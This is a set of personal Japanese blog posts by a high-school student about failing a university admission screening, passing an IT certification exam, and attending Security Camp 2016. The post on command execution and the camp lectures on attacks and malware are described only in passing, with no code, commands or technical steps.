f:id:Goyotan:20180129235300p:plain

無事にidコマンドを実行することができました!

 

 

 

#感じたこと

今回実際手を動かして試してみたが、このような関数の挙動を知れて興味深かったです。

関数の詳細な挙動についても知る必要があると感じました。

また、PHPについて更に調べてみようと思いました。

 

それではまた次のポストで!

 

P.S.

この明日は定期テストですが、このブログを書いていたら勉強できませんでした卍

筑波大学AC入試に落ちた

お久しぶりです。Goyotanです。

今日は筑波大学AC入試の第一次選考(書類選考)の結果が届きました。

結果はタイトル通り不合格でした。

非常に悔しくて結構泣いてしまいました...笑

 

とりあえずこれから受ける人のために何か残せないかと思い、私についての事と何を書いたのかを箇条書きで書いていきます。

 

1.私について

・関東圏のある商業高校生

・パソコンに触り始めたきっかけはPSPの改造

・情報セキュリティと宇宙系と航空系に興味アリ

・車とかバイクが好き

・3年間の平均評定は4.7(5段階評価)くらい

・皆勤賞(今のところ)

・商業高校生なので全商協会という所が主催している検定をいくつか所持

情報処理技術者試験はFEを所持

セキュリティキャンプ2016全国には何とか行けた

・英語と理科系は得意だが数学が弱い(数Ⅲなどはカリキュラムに無いので独学)

Java, Python, C,とかを使う(大規模開発はしたことない)

・Pwnableとネットワークを勉強中

・欠点は分かったつもりになってしまう所、早く結果を求めすぎてしまう所

 

ざっと今書いている中で思いついたことを挙げていきました。

結構出てくるものですね。

 

2.書いたもの

・志願理由書と自己推薦書の2つ(前者は800文字、後者は枚数様式自由)

 

自己推薦書の内容

・自分について(小中現在)

・今までの取り組み

 なぜ筑波を志望するのか(SoftEther,結プロジェクト)

 脆弱性と見つけた経緯(詳細はブログ内)

 Joomla!と呼ばれるCMS脆弱性を見落とした事

 セキュリティキャンプについて

・これからやりたいこと

 日商簿記2級

 応用情報技術者試験

 数学

 脆弱性調査

 声をかけていただいた診断系アルバイト

 

結構アバウトではありますが、このような構成で作成しました。

志願理由書、自己推薦書共にWordで作成しました。

 

f:id:Goyotan:20170921224452p:plain

こちらはプロパティ

17000文字はやはり多かったかなという印象。

 

反省とこれから

正直私は書類に自信がありました。内容も色んな人に見てもらい添削をしていただきました。しかし結果として不合格になりました。一体なぜ不合格になったのかは知る由もありません。ただ、今になって自分の書類を見返すと”面白さ”にかけていたのかなと感じます。それでも約半年の時間をかけてじっくり作成したため、後悔をする部分が殆どありませんでした。私は受験に失敗したと思うのではなく、非常に良い経験ができたと感じます。文中なりブログなりでも、脆弱性について~~みたいな事いっていますが、”高校生”が見つけたというだけで誇張してる感じが自分の中であります。自分の幼さに甘えてしまっている部分がありました。志願理由書に関しては、PDFを直接編集するという作業をしましたが上手くいきませんでした。なので急いで手書きをしたため、丁寧に仕上げることができませんでした。まだまだ思うことは沢山ありますが、胸の中にしまうことにします。

来年以降AC入試を受ける方はぜひ”自分自身”を出しきって頑張ってください!応援しています!

 

話は変わりますが、あっという間に高校生活も終わりが見えてきました。

そうなるとこれから大学生(なれたら?)になります。大学生では自分の立場に甘えることはせず、より一層情報科学について研究していきたいと考えています。もしこのブログを見ている中高生には、やりたい!と思うことがあったらすぐに行動に移してほしいと思います。

さて、私は一つの節目が過ぎたので、また新たな目標に向けて行動します。

🐈最後まで読んでくださり、ありがとうございました。🐈

基本情報技術者試験に合格した

お久しぶりですGoyotanです。

今日(2017/05/17)は、FE&SGの合格発表でしたね。

結果から述べると無事合格していました。(本当に良かった)

 

今回のアルゴリズムの問題にもなった最短距離を求めるアルゴリズム

過去問にも似たようなものがあり、それを解いている途中本当に理解するのが難しく、

出題されないことをただただ願っていたら見事出題され試験中に諦めモードになっていました。

実際に問いていて頭の中でトレースしていてもゴッチャゴチャになり、

帰りにラーメンを食べるか食べないか、そういえばもう4月も終わりか、など

考えていて完全にハングアップしていました。

 

危ない危ない間一髪のところで、ラーメンよりも目の前の試験が大事なことに気づき

我にかえることができました、、、

 

選択問題なのですが実は私、去年の同じ時期にFEを受験しており

その時は表計算を選択しており午後爆死。

落ちても正直、「秋受かれば勝ち」と考えていましたが、

なんとH28秋季の試験の日は楽しい楽しい修学旅行の出発日でした。(北海道)

皆さんが机に真剣に向かっている間、私(私達)は初飛行機にうへうへしてたり

ジンギスカンを楽しんだり、アイス食べたり、焼き肉食べたりしてました。

(めちゃくちゃ楽しかった、北海道でっかいどう)

 

修学旅行も終わり学期末テストも終わりふにゃふにゃ生きていましたが、

「あ、FEそろそろやん」と焦りはじめ、去年は表計算でダメだったので

リベンジしようかと思ったのですが、C言語で挑戦することにしました。

一緒に受験した友達はみんな表計算を選択していたので、

とても孤独感がありました、、、

 

今回は情報セキュリティ、データベース、C言語に助けられた感じだったので

情報セキュリティに関してはセキュキャンなどのおかげ、

データベースに関しては商業高校でたくさん解いたおかげ、

選択問題に関しては一番最初に触ったC言語のおかげ(?)、と

思っているので色々とお世話になっていることに気づきました。

ありがとうございました。受かって本当によかった。

 

 

〜あとがき〜

今回受かったことで進路用途でFEが使えるのでとても助かります。

最近はTwitterやめてみたり、思い立ったことをやってみたり、夜の公園で3時間くらい

過ごしてみたり、とにかく色々やってみようと模索しています。

これも思春期だからでしょうか。

でも、最近はクラスの出し物でダンスを練習したり、あまり話すことのなかった人と

仲良くなれたりして日常がとても楽しいです。

 

やはり自分は長い文章が苦手です。オチの付け方が分からない、、、

とりあえず6億年ぶりにブログ更新できたので良しとします。

頻繁に面白い報告とかできるようになりたいですね。

最後まで読んでいただきありがとうございました!!

 

f:id:Goyotan:20170517212515p:plain

セキュリティキャンプに参加してきました。

はい。キャンプが終わってもう5日も経ってるんですが、参加記を簡潔に書いていこうと思います。本当に簡単に書くので、あしからず。

 

1日目。

1時間早い電車に乗って海浜幕張駅まで行きました。着いたらすぐ部屋に行けると思っていたのですがダメでした。外で日焼けしてました。

最初にあった方はそけとさんでした。そのあとたくさん色んな方々が来られ、#名刺交換バトルをたくさんしました。

その後、会場入りしみんながそろうまではまた #名刺交換バトルをしました。

この時で50~60枚くらい配りました。(100枚持って行った)

みんなが集まりオリエンテーション的なのを座りながらずっと聞いていたのでトイレに行きたくてやばかったです。(隣の方が倒れたときは本当にびっくりした)

夕食後はグループワークを行い、テーマとチーム名を決めました。

チーム名:.t (どっとてぃー)

その後、コンビニツアーと呼ばれる唯一外の空気が吸えるものに参加し、お菓子と飲み物をゲット。

お風呂は水とお湯を自分で調節するといった”プロ仕様”でした。

もちろん私もプロなので背中に熱湯を浴びるなどしました。

夜は、レンジくんとちひろ氏の部屋に行ってグダグダしてました。

あんまり寝れなかった。

 

2日目

 寝起きはうーーーんって感じでした。ごはんおいしかったです!

最初の講義は「公開鍵のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~」でした。

はじめあたりは必死に聞いていたんですが段々と生気を吸い取られていき、最終的には完全にリタイア状態でした。ですが、オシロスコープなどを使い実際にサイドチャネル攻撃をしたことはとても新鮮で面白かったです。

その次の講義は「スマートフォン向けゲームのセキュリティ」でした。

この講義では実際のチート手法や防御法などを学びました。

アプリの通信をBurp suiteで噛ませリクエストを書き換えるといった方法で、スコアをいじったりしました。身近な技術なのでとても面白いなと思える良い講義でした。

夕食後はCTFを行いましたが、色々と障害があり始まる時間が少し遅くなったのですがその間にチューターの方々の成果報告を聞き、とても勉強になりました。

また、バタバタしていたので機会があればまたゆっくり聞きたいです。

CTFはダメでした。はい。

 

3日目

寝起きはよかった。すっきり。

この日は専門講義が3つあるので死なないようにと思いました。

最初の講義は「3-A Webアプリケーションの脆弱性の評価と発見」で、

初めてMasato Kinugawaさんを見ました。実際に脆弱性探しをしたり、CVSSv3での脆弱性評価を行い、とても勉強になりました。普段バグ探しをしているのでいい経験になりました。

次の講義は「オンラインゲームアタック&ディフェンスチャレンジ」でした。

私はジャバSCRIPT is 何って感じだったので周りのプロに色々教わりました。

最初のプレイヤー側はチートの嵐でスコアがとんでもないことになってていい感じにカオスでした。

2回目は運営側として参加し主にBANしまくってました。もうBANBANって感じです。

”運営”という立場を味わえてとても面白かったです。

この日最後の講義は「サーバに対する攻撃とその影響度を調べてディスカッションする講」で、

事前学習では色々と分かったのですがプレゼンと思わなかったので発表時グダグダすぎて無事死にました。

環境もしっかりしたものだったのでいい経験になりました。

企業紹介は「大日本印刷」様で、印刷会社がなんでセキュリティ??というようなお話で勉強になりました。

 

4日目

相変わらず朝が弱いので、目覚ましをEDMに無理やり起きました。(よく覚えてない)

この日最初の講義は「AVRマイコンで作るBadUSB自作」で、半田とか無理やでwな感じだったのですが、工作もそこまで難しくなく、そもそも半田を使いませんでした。

Cでコードが書かれていたのである程度は読めたのですが、BadUSBで何をやろうかというアイデアが浮かばず苦戦しました。

最後の最後に勝手にプロキシを書き換えるってのをやろうと思ったのですがうまくいきませんでした。

でも、部品も安く手軽に作れて楽しかったです。

そしてそしてキャンプ最後の講義は「遠隔操作マルウェアと標的型攻撃からの防衛」でした。

ShinoBOTで有名な凌さんを初めてみてうぉぉ!ってなりました。

あと、Metasploitのステッカーいいなぁと思ってました。

内容はOffensiveなセキュリティの話でとても面白かったです。実際に班で遠隔操作マルウェアを書くということも行い、貴重な体験ができました。

その後の企業紹介は「サイボウズ」様のお話で、サイボウズの社風など色々聞けて参考になりました。

この日の夜は最終日の向けてのプレゼンの資料作りでAM3:30くらいまで起きてて、班員全員が変なテンションでした。(夜に食べるラーメンは犯罪的なおいしさ。)

 

5日目(最終日)

はい。ということであっという間に最終日です。

なぜか目覚めが良く朝からテンション高かったような、、、?

緊張した発表もいい感じにできて良かったです。

最後のゴハーンもとてもおいしかった、、、

成果報告会で竹迫先生に呼ばれたときはとてもびっくりしました。

(何言ったか覚えてない)

その後本などをもらい、取材もされ、サインも頂け、あっという間に解散の時になってしまい、結構寂しかったです。

 

 

感想

ただただ、”楽しかった”。

キャンプでしか味わえないこと。

実際に顔を見合わせて会うこと。自分の意見を恐れずにいうこと。

などなど沢山感じました。4泊5日と、長いような短いような期間でしたが、

得られたことはとても素晴らしいものでした。

ついていけるかとか色々心配してましたが、とてもちっぽけなものだとわかりました。

興味あるな、、でもな、、、って方は絶対に応募するべきです。

とても良い経験をさせてもらい本当にキャンプ関係者の皆様には感謝しています。

本当にありがとうございました。これからもよろしくお願いします。

~以下頂いたもの~

 

f:id:Goyotan:20160818232057j:plain

 

これからについて

実はまだ、これをやるぞ!!!!といったものが具体的にない状態です。

でも、とらえ方を変えれば何でもできるということにもなります!★

だから幅広く深く色々なことをやっていきたいと思っています。

もし、何かこれとかどう?とか、これやろうぜ!とかありましたら是非とも教えていただけると幸いです。

 

 

P.S.

私の納車したてのノーパソが色んな方々のアドバイ悪乗りのおかげで、

イケメン最悪なPCに見事トランスフォームしました。感謝してます卍

あと、ウェイじゃないです。

 

セキュリティキャンプ2016に通りました。

こんにちは:D

最近すっかり気温が上がり、

見事に発汗技術者スペシャリストになったGoyotanです。

今回はセキュキャン2016の選考に通ったので、

自身の整理と誰かしらの役に立てたらいいなと考え、簡潔に記事を書こうと思います。

 

応募用紙について

私は、申し込みが始まる前に昨年やそれまでの参加者の中で、

応募用紙を公開しているブログをできる限り多く閲覧しました。

そこである程度、選択問題を選ぶ際どう選ぶかを重点に考え、

4つ選択する場合、

・2つは自分の得意な分野について。

・もう1つは、あるものに対しての自分の考えを書くもの。(対策方法など)

・最後の1つで、あえて自分の得意ではない分野(私の場合はbin系)

と、構成しようと考えていました。

得意ではない分野については地道に調べ、

実際に手を動かしたことをまとめて書きました。

 

共通問題については、

今回の場合、”自分の開発したもの”を沢山書け。

というものだったのですが、私は開発をあまりしたことがありませんでした。

この問題については、正直に開発したことがない旨、

以前に作ったもの(2つのみ)を書きました。

その後、他の参加者の応募用紙を見ると数十個やそれ以上書いてる方がおり、

最初はとても絶望していました。。。。

そこで、”セキュキャンで何を学びたいか”という問題で、

・自分の学びたいこと

・技術力をつけて何をするか/何を目指すか

・セキュリティ以外のことも学びたい

ということを、”熱意”をこめて書いたつもりです。

私の中での”熱意”は、やりたい!!!やってみたい!!!

も、当たり前なのですが

あることをやりたい。では、その前にしっかりと調べ

その後、何につなげるられるかを明確にすることだと考えています。

このように、私は一つの”線”として考えを応募用紙を書きました。

 

また、”参加者間での関わり”も重要と考えました。

選考に通ったけれども。

合格の知らせを受け取ったときは、とてもうれしく跳ね回りました。

ですが、講師陣や修了生の方々は”セキュキャン”がゴールではない。

と、皆さん口をそろえておっしゃっています。

私もその通りだと考えています。

セキュキャンはあくまで通過点であり、そこで生かした技術を

どうこれからに役立て行くかは自分の手にかかっていりると考え、

さらに上への向上心を忘れずに過ごしていこうと再度肝に銘じました。

最後に、残念ながらセキュキャンの選考に外れてしまった方の中でも

遥かに私より技術力がある人はたくさんおり、ほとんどです。

なので私はセキュキャン以外の場所でも、こういった方々と

積極的に関わっていきたいと考えております。

 

長くなり、乱文になりましたがこれで終わりにしたいと思います。

それでは!